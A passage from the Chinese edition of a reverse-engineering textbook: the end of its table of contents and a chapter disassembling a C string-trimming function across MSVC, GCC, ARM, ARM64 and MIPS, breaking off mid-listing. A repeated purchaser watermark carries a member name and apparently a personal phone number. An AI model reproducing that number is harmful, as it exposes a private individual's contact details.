修改参数 ............................................. 649 64.8 指针型函数参数 ................................. 649 第 65 章 线程本地存储 TLS ..................... 652 65.1 线性同余发生器(改) ..................... 652 65.1.1 Win32 系统 ............................... 652 65.1.2 Linux 系统 ................................ 656 第 66 章 系统调用(syscall-s)............... 658 66.1 Linux.................................................... 658 66.2 Windows .............................................. 659 第 67 章 Linux ............................................... 660 67.1 位置无关的代码 ................................. 660 67.1.1 Windows ................................... 662 67.2 在 Linux 下的 LD_PRELOAD ........... 662 第 68 章 Windows NT ................................ 666 68.1 CRT (Win32) ....................................... 666 68.2 Win32 PE 文件 .................................... 669 68.2.1 术语 .......................................... 670 68.2.2 基地址 ...................................... 670 68.2.3 子系统 ...................................... 670 68.2.4 操作系统版本 .......................... 670 68.2.5 段 .............................................. 671 68.2.6 重定向段 Relocations(relocs) .... 672 68.2.7 导出段和导入段 ...................... 672 68.2.8 资源段 ...................................... 674 68.2.9 .NET ......................................... 675 68.2.10 TLS 段 .................................... 675 68.2.11 工具 ........................................ 675 68.2.12 更进一步 ................................ 675 68.3 Windows SEH...................................... 675 68.3.1 让我们暂时把 MSVC 放在 一边 .......................................... 675 68.3.2 让我们重新回到 MSVC .......... 680 68.3.3 Windows x64 ............................ 693 68.3.4 关于 SEH 的更多信息 ............. 697 68.4 Windows NT:临界区段 .................... 697 第七部分 常用工具 第 69 章 反汇编工具 .................................... 703 69.1 IDA ...................................................... 703 第 70 章 调试工具 ......................................... 704 70.1 tracer .................................................... 704 70.2 OllyDbg................................................ 704 70.3 GDB ..................................................... 704 第 71 章 系统调用的跟踪工具 .................. 705 71.1 strace/dtruss .......................................... 705 第 72 章 反编译工具 .................................... 706 第 73 章 其他工具 ......................................... 707 第八部分 更多范例 第 74 章 修改任务管理器(Vista) ....... 711 74.1 使用 LEA 指令赋值 ............................ 713 第 75 章 修改彩球游戏 ............................... 715 第 76 章 扫雷(Windows XP) .............. 717 76.1 练习题.................................................. 721 第 77 章 人工反编译与Z3 SMT 求解法 .... 722 77.1 人工反编译 .......................................... 722 77.2 Z3 SMT 求解法 ................................... 725 第 78 章 加密狗 ............................................. 730 78.1 例 1:PowerPC 平台的 MacOS Classic 程序 ..................................................... 730 78.2 例 2: SCO OpenServer ......................... 737 解密错误信息 ......................................... 745 78.3 例 3: MS-DOS ..................................... 747 第 79 章 “QR9”:魔方态加密模型 ........ 753 第 80 章 SAP .................................................. 782 80.1 关闭客户端的网络数据包压缩功能 ..... 782 80.2 SAP 6.0 的密码验证函数 .................... 793 第 81 章 Oracle RDBMS .......................... 797 81.1 V$VERSION 表 .................................. 797 81.2 X$KSMLRU 表 ................................... 805 81.3 V$TIMER 表 ....................................... 806 异步社区会员 dearfuture(15918834820) 专享 尊重版权 4 逆向工程权威指南(下册) 第 82 章 汇编指令与屏显字符 ................. 811 82.1 EICAR ................................................. 811 第 83 章 实例演示 ........................................ 813 83.1 10PRINT CHR$(205.5+RND(1));: GOTO 10 ............................................. 813 83.1.1 Trixter 的 42 字节程序 ............. 813 83.1.2 笔者对 Trixter 算法的改进: 27 字节 ..................................... 814 83.1.3 从随机地址读取随机数 ........... 814 83.1.4 其他 .......................................... 815 83.2 曼德博集合 ......................................... 815 83.2.1 理论 .......................................... 816 83.2.2 demo 程序 ................................ 820 83.2.3 笔者的改进版 .......................... 822 第九部分 文件分析 第 84 章 基于 XOR 的文件加密 .............. 827 84.1 Norton Guide:单字节 XOR 加密 实例 ..................................................... 827 信息熵 .................................................... 828 84.2 4 字节 XOR 加密实例 ........................ 828 84.3 练习题 ................................................. 830 第 85 章 Millenium 游戏的存档文件 .... 831 第 86 章 Oracle 的.SYM 文件................. 835 第 87 章 Oracle 的.MSDB 文件 ............. 842 总结 ................................................................ 845 第十部分 其他 第 88 章 npad ................................................. 849 第 89 章 修改可执行文件 .......................... 851 89.1 文本字符串 ......................................... 851 89.2 x86 指令 .............................................. 851 第 90 章 编译器内部函数 .......................... 852 第 91 章 编译器的智能短板 ...................... 853 第 92 章 OpenMP ........................................ 854 92.1 MSVC .................................................. 856 92.2 GCC ..................................................... 858 第 93 章 安腾指令 ......................................... 860 第 94 章 8086 的寻址方式 ......................... 863 第 95 章 基本块重排 .................................... 864 95.1 PGO 的优化方式 ................................. 864 第十一部分 推荐阅读 第 96 章 参考书籍 ......................................... 869 96.1 Windows .............................................. 869 96.2 C/C++................................................... 869 96.3 x86/x86-64 ........................................... 869 96.4 ARM .................................................... 869 96.5 加密学.................................................. 869 第 97 章 博客 .................................................. 870 97.1 Windows 平台 ..................................... 870 第 98 章 其他内容 ......................................... 871 第十二部分 练习题 第 99 章 初等难度练习题 ........................... 875 99.1 练习题 1.4 ............................................ 875 第 100 章 中等难度练习题 ........................ 876 100.1 练习题 2.1 .......................................... 876 100.1.1 Optimizing MSVC 2010 x86 .... 876 100.1.2 Optimizing MSVC 2012 x64 .... 877 100.2 练习题 2.4 .......................................... 877 100.2.1 Optimizing MSVC 2010 ......... 877 100.2.2 GCC 4.4.1................................ 878 100.2.3 Optimizing Keil(ARM mode) .................................... 879 100.2.4 Optimizing Keil(Thumb mode) .................................... 880 100.2.5 Optimizing GCC 4.9.1 (ARM64) .............................. 880 100.2.6 Optimizing GCC 4.4.5 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 录 5 (MIPS) ................................. 881 100.3 练习题 2.6 ......................................... 882 100.3.1 Optimizing MSVC 2010 ......... 882 100.3.2 Optimizing Keil(ARM mode) ................................... 883 100.3.3 Optimizing Keil(Thumb mode) ................................... 884 100.3.4 Optimizing GCC 4.9.1 (ARM64) ............................. 884 100.3.5 Optimizing GCC 4.4.5 (MIPS) ................................. 885 100.4 练习题 2.13 ....................................... 885 100.4.1 Optimizing MSVC 2012 ......... 886 100.4.2 Keil(ARM mode) ............... 886 100.4.3 Keil(Thumb mode) ............ 886 100.4.4 Optimizing GCC 4.9.1 (ARM64) ............................. 886 100.4.5 Optimizing GCC 4.4.5 (MIPS) ................................. 887 100.5 练习题 2.14 ....................................... 887 100.5.1 MSVC 2012 ............................ 887 100.5.2 Keil(ARM mode) ............... 888 100.5.3 GCC 4.6.3 for Raspberry Pi (ARM mode) ....................... 888 100.5.4 Optimizing GCC 4.9.1 (ARM64) ............................. 889 100.5.5 Optimizing GCC 4.4.5 (MIPS) ................................. 890 100.6 练习题 2.15 ....................................... 891 100.6.1 Optimizing MSVC 2012 x64 .... 892 100.6.2 Optimizing GCC 4.4.6 x64 ..... 894 100.6.3 Optimizing GCC 4.8.1 x86 ..... 895 100.6.4 Keil(ARM 模式):面向 Cortex-R4F CPU 的代码 ........ 896 100.6.5 Optimizing GCC 4.9.1 (ARM64) ............................. 897 100.6.6 Optimizing GCC 4.4.5 (MIPS) ................................. 898 100.7 练习题 2.16 ....................................... 899 100.7.1 Optimizing MSVC 2012 x64 .... 899 100.7.2 Optimizing Keil(ARM mode) ................................... 899 100.7.3 Optimizing Keil(Thumb mode) ................................... 900 100.7.4 Non-optimizing GCC 4.9.1 (ARM64) .............................. 900 100.7.5 Optimizing GCC 4.9.1 (ARM64) .............................. 901 100.7.6 Non-optimizing GCC 4.4.5 (MIPS) ................................. 904 100.8 练习题 2.17 ........................................ 905 100.9 练习题 2.18 ........................................ 905 100.10 练习题 2.19 ...................................... 905 100.11 练习题 2.20 ...................................... 905 第 101 章 高难度练习题 ............................. 906 101.1 练习题 3.2 .......................................... 906 101.2 练习题 3.3 .......................................... 906 101.3 练习题 3.4 .......................................... 906 101.4 练习题 3.5 .......................................... 906 101.5 练习题 3.6 .......................................... 907 101.6 练习题 3.8 .......................................... 907 第 102 章 Crackme/Keygenme ................ 908 附录 A x86 ...................................................... 909 A.1 数据类型 ............................................... 909 A.2 通用寄存器 ........................................... 909 A.2.1 RAX/EAX/AX/AL ..................... 909 A.2.2 RBX/EBX/BX/BL ...................... 910 A.2.3 RCX/ECX/CX/CL ...................... 910 A.2.4 RDX/EDX/DX/DL ..................... 910 A.2.5 RSI/ESI/SI/SIL ........................... 910 A.2.6 RDI/EDI/DI/DIL ........................ 910 A.2.7 R8/R8D/R8W/R8L ..................... 911 A.2.8 R9/R9D/R9W/R9L ..................... 911 A.2.9 R10/R10D/R10W/R10L ............. 911 A.2.10 R11/R11D/R11W/R11L ............ 911 A.2.11 R12/R12D/R12W/R12L ........... 911 A.2.12 R13/R13D/R13W/R13L ........... 911 A.2.13 R14/R14D/R14W/R14L ........... 912 A.2.14 R15/R15D/R15W/R15L ........... 912 A.2.15 RSP/ESP/SP/SPL ..................... 912 A.2.16 RBP/EBP/BP/BPL .................... 912 A.2.17 RIP/EIP/IP ................................ 912 A.2.18 段地址寄存器 CS/DS/ES/SS/ FS/GS ........................................ 913 A.2.19 标识寄存器 .............................. 913 A.3 FPU 寄存器 .......................................... 913 A.3.1 控制字寄存器(16 位) ........... 914 异步社区会员 dearfuture(15918834820) 专享 尊重版权 6 逆向工程权威指南(下册) A.3.2 状态字寄存器(16 位) ........... 914 A.3.3 标记字寄存器(16 位) ........... 915 A.4 SIMD 寄存器 ....................................... 915 A.4.1 MMX 寄存器 ............................ 915 A.4.2 SSE 与 AVX 寄存器 .................. 915 A.5 FPU 调试寄存器 .................................. 915 A.5.1 DR6 规格 ................................... 916 A.5.2 DR7 规格 ................................... 916 A.6 指令 ...................................................... 917 A.6.1 指令前缀 ................................... 917 A.6.2 常见指令 ................................... 917 A.6.3 不常用的汇编指令 .................... 922 A.6.4 FPU 指令 ................................... 927 A.6.5 可屏显的汇编指令(32 位) ..... 928 附录 B ARM .................................................. 931 B.1 术语 ...................................................... 931 B.2 版本差异 .............................................. 931 B.3 32 位 ARM(AArch32) ..................... 931 B.3.1 通用寄存器 ................................ 931 B.3.2 程序状态寄存器/CPSR ............. 931 B.3.3 VFP(浮点)和 NEON 寄存器 ....................................... 932 B.4 64 位 ARM(AArch64) ..................... 932 通用寄存器 ............................................ 932 B.5 指令 ...................................................... 933 Conditional codes 速查表 ...................... 933 附录 C MIPS ................................................. 934 C.1 寄存器 .................................................. 934 C.1.1 通用寄存器 GPR ....................... 934 C.1.2 浮点寄存器 FPR ........................ 934 C.2 指令 ...................................................... 934 转移指令 ................................................ 935 附录 D 部分 GCC 库函数 .......................... 936 附录 E 部分 MSVC 库函数 ....................... 937 附录 F 速查表 ................................................ 938 F.1 IDA ........................................................ 938 F.2 OllyDbg ................................................. 939 F.3 MSVC 选项 ........................................... 939 F.4 GCC ....................................................... 939 F.5 GDB ....................................................... 940 附录 G 练习题答案 ....................................... 941 G.1 各章练习 ............................................... 941 第 3 章 .................................................... 941 第 5 章 .................................................... 941 第 7 章 .................................................... 941 第 13 章 .................................................. 942 第 14 章 .................................................. 942 第 15 章 .................................................. 942 第 16 章 .................................................. 942 第 17 章 .................................................. 943 第 18 章 .................................................. 943 第 19 章 .................................................. 944 第 21 章 .................................................. 945 第 41 章 .................................................. 946 第 50 章 .................................................. 946 G.2 初级练习题 ........................................... 947 G.2.1 练习题 1.1 .................................. 947 G.2.2 练习题 1.4 .................................. 947 G.3 中级练习题 ........................................... 947 G.3.1 练习题 2.1 .................................. 947 G.3.2 练习题 2.4 .................................. 948 G.3.3 练习题 2.6 .................................. 949 G.3.4 练习题 2.13 ................................ 949 G.3.5 练习题 2.14 ................................ 949 G.3.6 练习题 2.15 ................................ 949 G.3.7 练习题 2.16 ................................ 950 G.3.8 练习题 2.17 ................................ 950 G.3.9 练习题 2.18 ................................ 950 G.3.10 练习题 2.19 .............................. 950 G.3.11 练习题 2.20............................... 950 G.4 高难度练习题 ....................................... 950 G.4.1 练习题 3.2 .................................. 950 G.4.2 练习题 3.3 .................................. 950 G.4.3 练习题 3.4 .................................. 950 G.4.4 练习题 3.5 .................................. 950 G.4.5 练习题 3.6 .................................. 951 G.4.6 练习题 3.8 .................................. 951 G.5 其他练习题 ........................................... 951 G.5.1 “扫雷(Windows XP)” ......... 951 参考文献 .............................................................. 952 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 4477 章 章 字 字符 符串 串剪 剪切 切 我们经常需要去除字符串里的开始符号或者结束符号。 本章介绍的程序,专门用于去除字符串的结尾部分的回车和换行字符 CR/LF。 #include <stdio.h> #include <string.h> char* str_trim (char *s) { char c; size_t str_len; // work as long as \r or \n is at the end of string // stop if some other character there or its an empty string' // (at start or due to our operation) for (str_len=strlen(s); str_len>0 && (c=s[str_len-1]); str_len--) { if (c=='\r' || c=='\n') s[str_len-1]=0; else break; }; return s; }; int main() { // test // strdup() is used to copy text string into data segment, // because it will crash on Linux otherwise, // where text strings are allocated in constant data segment, // and not modifiable. printf ("[%s]\n", str_trim (strdup(""))); printf ("[%s]\n", str_trim (strdup("\n"))); printf ("[%s]\n", str_trim (strdup("\r"))); printf ("[%s]\n", str_trim (strdup("\n\r"))); printf ("[%s]\n", str_trim (strdup("\r\n"))); printf ("[%s]\n", str_trim (strdup("test1\r\n"))); printf ("[%s]\n", str_trim (strdup("test2\n\r"))); printf ("[%s]\n", str_trim (strdup("test3\n\r\n\r"))); printf ("[%s]\n", str_trim (strdup("test4\n"))); printf ("[%s]\n", str_trim (strdup("test5\r"))); printf ("[%s]\n", str_trim (strdup("test6\r\r\r"))); }; 输入参数总能正常返回并退出。当你需要对串进行批量处理时会非常方便,就像这里的 main()函 数一样。 在该程序循环体的 for()语句里有两个判断条件表达式:一个条件表达式是 str_len>0(字符串的长度大 于零);另外一个是 c=s[str_len-1](意思是取出的值不为 0、不是终止符)。循环判断语句“str_len>0 && (c=s[str_len-1])”实际上利用了所谓“逻辑短路”的执行特性,因此可以这样书写第二个判断表达式(可以 参考 Yur13:p.1.3.8)。C/C++编译器自左至右的逐一检测判断条件。因为逻辑操作符是“&&”(与),所以 异步社区会员 dearfuture(15918834820) 专享 尊重版权 486 逆向工程权威指南(下册) 一旦第一个条件表达式的值为假,计算机就不用再判断(执行)第二个条件判断表达式。实际上,第二个 条件表达式是一种只能在相应的条件下才可以运行的语句。笔者综合利用了第一个条件表达式、逻辑操作 符“&&”的逻辑含义以及“逻辑短路”的特性,为第二个条件判断表达式限定了执行条件。 47.1 x64 下的 MSVC 2013 优化 指令清单 47.1 x64 下的 MSVC 2013 优化 s$ = 8 str_trim PROC ; RCX is the first function argument and it always holds pointer to the string ; this is strlen() function inlined right here: ; set RAX to 0xFFFFFFFFFFFFFFFF (-1) or rax, -1 $LL14@str_trim: inc rax cmp BYTE PTR [rcx+rax], 0 jne SHORT $LL14@str_trim ; is string length zero? exit then test eax, eax $LN18@str_trim: je SHORT $LN15@str_trim ; RAX holds string length ; here is probably disassembler (or assembler printing routine) error, ; LEA RDX... should be here instead of LEA EDX... lea edx, DWORD PTR [rax-1] ; idle instruction: EAX will be reset at the next instructions execution' mov eax, edx ; load character at address s[str_len-1] movzx eax, BYTE PTR [rdx+rcx] ; save also pointer to the last character to R8 lea r8, QWORD PTR [rdx+rcx] cmp al, 13 ; is it '\r'? je SHORT $LN2@str_trim cmp al, 10 ; is it '\n'? jne SHORT $LN15@str_trim $LN2@str_trim: ; store 0 to that place mov BYTE PTR [r8], 0 mov eax, edx ; check character for 0, but conditional jump is above... test edx, edx jmp SHORT $LN18@str_trim $LN15@str_trim: ; return "s" mov rax, rcx ret 0 str_trim ENDP 第一个特征就是 MSVC 编译器对字符串长度函数 strlen()进行了内联(inline)式的展开和嵌入处理。 编译器认为,内联处理后的执行效率会比常规的函数调用(call)的效率更高 。有关内联函数可以参考本 书的第 43 章。 内嵌处理之后,strlen()函数的第一个指令是:OR RAX,0xffffffffffffffff。我们不清楚为何 MSVC 采用 OR(或)指令,而没有采用 MOV RAX, 0xffffffffffffffff 指令直接赋值。当然,这两条指令执行的是相同操 作:将所有位设置为 1。因此这个数值就是赋值为−1。可以参考本书的第 30 章。 你也可能会问,为什么 strlen()函数会用到−1 这个数。当然是出于优化的目的。这里我们列出了 MSVC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 47 章 字符串剪切 487 的编译代码。 指令清单 47.2 x64 下的 MSVC 2013 的内嵌函数 strlen() ; RCX = pointer to the input string ; RAX = current string length or rax, -1 label: inc rax cmp BYTE PTR [rcx+rax], 0 jne SHORT label ; RAX = string length 如果把这个变量的初始值设置为 0,那么是否可以把代码压缩得更短一些呢?我们可以来试试。 指令清单 47.3 我们的 strlen()字符串长度函数版本 ; RCX = pointer to the input string ; RAX = current string length xor rax, rax label: cmp byte ptr [rcx+rax], 0 jz exit inc rax jmp label exit: ; RAX = string length 我们没能成功。因为我们不得不加入了一个额外的指令:JMP 跳转指令。 在使用“-1”作为初始值之后,MSVC 2013 随即在加载字符的指令之前分配了一个 INC 指令。如果 第一个字符是 0(终止符),那么 RAX 就直接为 0,返回的字符串长度还会是 0。 函数中的其余部分还是很好懂的。当然在程序的最后有另外一个技巧。除去那些内联之后的 strlen()函 数的展开代码,整个函数就只有 3 个条件指令。其实,从道理上讲这里应该有 4 个转移指令:第 4 个应当 位于函数的结尾部分,用于检查当前字符是不是 0。然后这段代码使用了一个跳转到“$LN18@str_trim” 标签的无条件转移指令,而这个标签后面的第一个指令就是条件转移指令 JE。编译器用这种指令组用来判 断输入的字符串是不是空字符串(当前字符是不是终止符),而且直接就是在 strlen()执行结束后。所以这 里使用 JE 指令有两个目的。这也许杀鸡用宰牛刀,但是无论如何,MSVC 就是这样做的。 要想提示程序性能,就应当尽量脱离条件转移指令进行程序作业。有关详情请参阅本书第 33 章。 47.2 x64 下采用编辑器 GCC 4.9.1 进行非优化操作 str_trim: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi ; for() first part begins here mov rax, QWORD PTR [rbp-24] mov rdi, rax call strlen mov QWORD PTR [rbp-8], rax ; str_len ; for() first part ends here jmp .L2 ; for() body begins here .L5: cmp BYTE PTR [rbp-9], 13 ; c=='\r'? je .L3 cmp BYTE PTR [rbp-9], 10 ; c=='\n'? jne .L4 .L3: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 488 逆向工程权威指南(下册) mov rax, QWORD PTR [rbp-8] ; str_len lea rdx, [rax-1] ; EDX=str_len-1 mov rax, QWORD PTR [rbp-24] ; s add rax, rdx ; RAX=s+str_len-1 mov BYTE PTR [rax], 0 ; s[str_len-1]=0 ; for() body ends here ; for() third part begins here sub QWORD PTR [rbp-8], 1 ; str_len-- ; for() third part ends here .L2: ; for() second part begins here cmp QWORD PTR [rbp-8], 0 ; str_len==0? je .L4 ; exit then ; check second clause, and load "c" mov rax, QWORD PTR [rbp-8] ; RAX=str_len lea rdx, [rax-1] ; RDX=str_len-1 mov rax, QWORD PTR [rbp-24] ; RAX=s add rax, rdx ; RAX=s+str_len-1 movzx eax, BYTE PTR [rax] ; AL=s[str_len-1] mov BYTE PTR [rbp-9], al ; store loaded char into "c" cmp BYTE PTR [rbp-9], 0 ; is it zero? jne .L5 ; yes? exit then ; for() second part ends here .L4: ; return "s" mov rax, QWORD PTR [rbp-24] leave ret 笔者在程序中增加了注释。执行完长度计算函数 strlen()后,控制权将传递给标号为 L2 的语句。接着 注意检查两个条件表达式。如果第一判断条件表达式为真,也就是说如果长度为 0(str_len 的值为 0),那 么计算机将不再检测第二个条件判断表达式。这种特性又称为“逻辑短路”。 概括地说,这个函数的执行流程如下:  运行 for()语句的第一部分,也就是调用 strlen()函数的循环初始化指令。  跳转到标号 L2;检测循环条件是否成立。  跳转到标号 L5,进入循环体;  再执行 for()语句,如果条件不成立,则直接退出。  执行 for()语句的第三部分,将变量 str_len 递减。  再次跳转到标号 L2,检测循环条件是否成立、进入循环……周而复始,直到循环条件不成立。  跳转到 L4 标号,准备退出。  制备返回值,即变量 s。 47.3 x64 下的 GCC 4.9.1 优化 str_trim: push rbx mov rbx, rdi ; RBX will always be "s" call strlen ; check for str_len==0 and exit if its so' test rax, rax je .L9 lea rdx, [rax-1] ; RDX will always contain str_len-1 value, not str_len ; so RDX is more like buffer index variable lea rsi, [rbx+rdx] ; RSI=s+str_len-1 movzx ecx, BYTE PTR [rsi] ; load character test cl, cl 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 47 章 字符串剪切 489 je .L9 ; exit if its zero' cmp cl, 10 je .L4 cmp cl, 13 ; exit if its not' '\n' and not '\r' jne .L9 .L4: ; this is weird instruction. we need RSI=s-1 here. ; its possible to get it by' MOV RSI, EBX / DEC RSI ; but this is two instructions instead of one sub rsi, rax ; RSI = s+str_len-1-str_len = s-1 ; main loop begin .L12: test rdx, rdx ; store zero at address s-1+str_len-1+1 = s-1+str_len = s+str_len-1 mov BYTE PTR [rsi+1+rdx], 0 ; check for str_len-1==0. exit if so. je .L9 sub rdx, 1 ; equivalent to str_len-- ; load next character at address s+str_len-1 movzx ecx, BYTE PTR [rbx+rdx] test cl, cl ; is it zero? exit then je .L9 cmp cl, 10 ; is it '\n'? je .L12 cmp cl, 13 ; is it '\r'? je .L12 .L9: ; return "s" mov rax, rbx pop rbx ret GCC 的实现方式更为复杂。在循环体执行前的代码只执行一次,而且它还会检查结束符是不是回车和 换行 CR/LF。这难道不是多此一举吗? 一般来说,实现主循环体的流程是这样的: ① 循环开始,检查 CR/LF 结束符,进行判断。 ② 保存零字符。 但是,GCC 编译器会将这两步逆序执行。因此,第一步肯定不会是保存零字符,而是进行下述判断: ① 看看第一个字符是不是 CR/LF,如果不是的话,就会退出。 ② 循环开始,保存零字符。 ③ 根据检查字符是不是 CR/LF 来决定程序的执行。 这样处理之后,主循环体就小了很多,更适用于目前的 CPU 了。这种代码的中间变量不是 str_len,而是 str_len-1。或许是因为后者更适用于用作缓冲区型数据的索引标号(数组下标)。很明显,GCC 注意到了, str_len-1 使用了两次。因此最好的办法是分配一个变量,其值总是比目前的字符串的长度小 1,然后再将 其递减(按照变量 str_len 的递减方式递减)。 47.4 ARM64:非优化的 GCC(Linaro)4.9 它将生成近乎“一一对应”的汇编指令。具体代码如下所示。 指令清单 47.4 非优化的GCC(Linaro ① ① Linaro 是一家开源的基于 ARM 操作平台的组织,由多家业内公司联合成立。其开发了 ARM 开发工具、Linux 内核以及 Linux 发行版(包括 Android 及 Ubuntu)的主要自动建构系统。 )4.9 str_trim: stp x29, x30, [sp, -48]! 异步社区会员 dearfuture(15918834820) 专享 尊重版权 490 逆向工程权威指南(下册) add x29, sp, 0 str x0, [x29,24] ; copy input argument into local stack ldr x0, [x29,24] ; s bl strlen str x0, [x29,40] ; str_len variable in local stack b .L2 ; main loop begin .L5: ldrb w0, [x29,39] ; W0=c cmp w0, 13 ; is it '\r'? beq .L3 ldrb w0, [x29,39] ; W0=c cmp w0, 10 ; is it '\n'? bne .L4 ; goto exit if it is not .L3: ldr x0, [x29,40] ; X0=str_len sub x0, x0, #1 ; X0=str_len-1 ldr x1, [x29,24] ; X1=s add x0, x1, x0 ; X0=s+str_len-1 strb wzr, [x0] ; write byte at s+str_len-1 ; decrement str_len: ldr x0, [x29,40] ; X0=str_len sub x0, x0, #1 ; X0=str_len-1 str x0, [x29,40] ; save X0 (or str_len-1) to local stack .L2: ldr x0, [x29,40] ; str_len==0? cmp x0, xzr ; goto exit then beq .L4 ldr x0, [x29,40] ; X0=str_len sub x0, x0, #1 ; X0=str_len-1 ldr x1, [x29,24] ; X1=s add x0, x1, x0 ; X0=s+str_len-1 ; load byte at address s+str_len-1 to W0 ldrb w0, [x0] strb w0, [x29,39] ; store loaded byte to "c" ldrb w0, [x29,39] ; reload it ; is it zero byte? cmp w0, wzr ; goto exit, if its zero or to L5 if its not'' bne .L5 .L4: ; return s ldr x0, [x29,24] ldp x29, x30, [sp], 48 ret 47.5 ARM64:优化 GCC(Linaro)4.9 编译器采用了更为高级的优化技术。在程序开始时,首先调入第一个字符,并和十进制数 10 进行比对 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 47 章 字符串剪切 491 (也就是换行 LF 的数值)。此后,后续字符相继被调入主循环。这种处理方法和本书第 47 章第 3 节中的例 子类似。 指令清单 47.5 GCC(Linaro)4.9 的优化 str_trim: stp x29, x30, [sp, -32]! add x29, sp, 0 str x19, [sp,16] mov x19, x0 ; X19 will always hold value of "s" bl strlen ; X0=str_len cbz x0, .L9 ; goto L9 (exit) if str_len==0 sub x1, x0, #1 ; X1=X0-1=str_len-1 add x3, x19, x1 ; X3=X19+X1=s+str_len-1 ldrb w2, [x19,x1] ; load byte at address X19+X1=s+str_len-1 ; W2=loaded character cbz w2, .L9 ; is it zero? jump to exit then cmp w2, 10 ; is it '\n'? bne .L15 .L12: ; main loop body. loaded character is always 10 or 13 at this moment! sub x2, x1, x0 ; X2=X1-X0=str_len-1-str_len=-1 add x2, x3, x2 ; X2=X3+X2=s+str_len-1+(-1)=s+str_len-2 strb wzr, [x2,1] ; store zero byte at address s+str_len-2+1=s+str_len-1 cbz x1, .L9 ; str_len-1==0? goto exit, if so sub x1, x1, #1 ; str_len-- ldrb w2, [x19,x1] ; load next character at address X19+X1=s+str_len-1 cmp w2, 10 ; is it '\n'? cbz w2, .L9 ; jump to exit, if its zero' beq .L12 ; jump to begin loop, if its' '\n' .L15: cmp w2, 13 ; is it '\r'? beq .L12 ; yes, jump to the loop body begin .L9: ; return "s" mov x0, x19 ldr x19, [sp,16] ldp x29, x30, [sp], 32 ret 47.6 ARM: Keil 6/2013 优化(ARM 模式) 这里我们会再次看到,编译器分配了 ARM 模式下的条件指令,使整个代码更为紧凑。 指令清单 47.6 Keil 6/2013 优化(ARM 模式) str_trim PROC PUSH {r4,lr} ; R0=s MOV r4,r0 ; R4=s BL strlen ; strlen() takes "s" value from R0 ; R0=str_len MOV r3,#0 ; R3 will always hold 0 |L0.16| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 492 逆向工程权威指南(下册) CMP r0,#0 ; str_len==0? ADDNE r2,r4,r0 ; (if str_len!=0) R2=R4+R0=s+str_len LDRBNE r1,[r2,#-1] ; (if str_len!=0) R1=load byte at address R2-1=s+str_len-1 CMPNE r1,#0 ; (if str_len!=0) compare loaded byte against 0 BEQ |L0.56| ; jump to exit if str_len==0 or loaded byte is 0 CMP r1,#0xd ; is loaded byte '\r'? CMPNE r1,#0xa ; (if loaded byte is not '\r') is loaded byte '\r'? SUBEQ r0,r0,#1 ; (if loaded byte is '\r' or '\n') R0-- or str_len-- STRBEQ r3,[r2,#-1] ; (if loaded byte is '\r' or '\n') store R3 (zero) at address R2-1=s+str_len-1 BEQ |L0.16| ; jump to loop begin if loaded byte was '\r' or '\n' |L0.56| ; return "s" MOV r0,r4 POP {r4,pc} ENDP 47.7 ARM:Keil 6/2013(Thumb 模式)优化 在 Thumb 模式指令集的条件执行指令比 ARM 模式指令集的少,因此这种代码更接近 x86 的指令。但 是在程序的 22 和 23 行处的偏移量 0x20 和 0x1f,会令多数人感到匪夷所思。为什么 Keil 6 编译器会分配 这些指令?老实说,很难讲。也许这就是 Keil 6 优化进程的诡异之处。不管这种代码多么令人费解,整个 程序的功能确实忠实于我们的源代码。 指令清单 47.7 Keil 6/2013(Thumb 模式)优化 1 str_trim PROC 1 PUSH {r4,lr} 2 MOVS r4,r0 4 ; R4=s 5 BL strlen ; strlen() takes "s" value from R0 6 ; R0=str_len 7 MOVS r3,#0 8 ; R3 will always hold 0 9 B |L0.24| 10 |L0.12| 11 CMP r1,#0xd ; is loaded byte '\r'? 12 BEQ |L0.20| 13 CMP r1,#0xa ; is loaded byte '\n'? 14 BNE |L0.38| ; jump to exit, if no 15 |L0.20| 16 SUBS r0,r0,#1 ; R0-- or str_len-- 17 STRB r3,[r2,#0x1f] ; store 0 at address R2+0x1F=s+str_len-0x20+0x1F=s+str_len-1 18 |L0.24| 19 CMP r0,#0 ; str_len==0? 20 BEQ |L0.38| ; yes? jump to exit 21 ADDS r2,r4,r0 ; R2=R4+R0=s+str_len 22 SUBS r2,r2,#0x20 ; R2=R2-0x20=s+str_len-0x20 23 LDRB r1,[r2,#0x1f] ; load byte at 24 address R2+0x1F=s+str_len-0x20+0x1F=s+str_len-1 to R1 25 CMP r1,#0 ; is loaded byte 0? 26 BNE |L0.12| ; jump to loop begin, if its not 0' 27 |L0.38| 28 ; return "s" 29 MOVS r0,r4 30 POP {r4,pc} 31 ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 47 章 字符串剪切 493 47.8 MIPS 指令清单 47.8 (IDA)GCC 4.4.5 优化 str_trim: ; IDA is not aware of local variable names, we gave them manually: saved_GP = -0x10 saved_S0 = -8 saved_RA = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+saved_RA($sp) sw $s0, 0x20+saved_S0($sp) sw $gp, 0x20+saved_GP($sp) ; call strlen(). input string address is still in $a0, strlen() will take it from there: lw $t9, (strlen & 0xFFFF)($gp) or $at, $zero ; load delay slot, NOP jalr $t9 ; input string address is still in $a0, put it to $s0: move $s0, $a0 ; branch delay slot ; result of strlen() (i.e, length of string) is in $v0 now ; jump to exit if $v0==0 (i.e., if length of string is 0): beqz $v0, exit or $at, $zero ; branch delay slot, NOP addiu $a1, $v0, -1 ; $a1 = $v0-1 = str_len-1 addu $a1, $s0, $a1 ; $a1 = input string address + $a1 = s+strlen-1 ; load byte at address $a1: lb $a0, 0($a1) or $at, $zero ; load delay slot, NOP ; loaded byte is zero? jump to exit if its so': beqz $a0, exit or $at, $zero ; branch delay slot, NOP addiu $v1, $v0, -2 ; $v1 = str_len-2 addu $v1, $s0, $v1 ; $v1 = $s0+$v1 = s+str_len-2 li $a2, 0xD ; skip loop body: b loc_6C li $a3, 0xA ; branch delay slot loc_5C: ; load next byte from memory to $a0: lb $a0, 0($v1) move $a1, $v1 ; $a1=s+str_len-2 ; jump to exit if loaded byte is zero: beqz $a0, exit ; decrement str_len: addiu $v1, -1 ; branch delay slot loc_6C: ; 